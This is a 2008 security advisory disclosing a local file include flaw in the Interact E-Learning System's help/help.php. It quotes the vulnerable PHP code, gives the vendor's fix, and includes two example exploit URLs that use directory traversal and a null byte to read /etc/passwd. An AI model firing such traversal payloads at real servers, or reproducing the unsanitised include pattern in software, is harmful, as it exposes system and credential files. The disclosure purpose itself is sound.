[DSECRG-08-031] Local File Include Vulnerability in Interact 2.4.1
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31
Application: Interact E-Learning System
Versions Affected: 2.4.1
Vendor URL: http://sourceforge.net/projects/cce-interact
Bug: Local File Include
Exploits: YES
Reported: 03.07.2008
Vendor response: 04.07.2008
Solution: YES
Date of Public Advisory: 21.07.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)
Description
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Interact E-Learning System system has local file include vulnerability in
script help/help.php
Vulnerable GET parameters "module", "file".
Code
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$module = isset($_GET['module']) ? $_GET['module']:'';
$file = isset($_GET['file']) ? $_GET['file']:'';
...
$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['language'].'/help/'.$module.'/'.$file;
if (is_file($hpath)){
require_once($hpath);
} else {
require_once($CONFIG['BASE_PATH'].'/language/default/help/'.$module.'/'.$file);
}
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Example:
http://[server]/[installdir]/help/help.php?module=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/help/help.php?file=../../../../../../../../../../../../../etc/passwd
Solution
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This file is no longer required by the system. Remove it from installation.
Vendor response:
"I have posted an alert to users to remove this from their installations asap
and will get it removed from the next release of the package."
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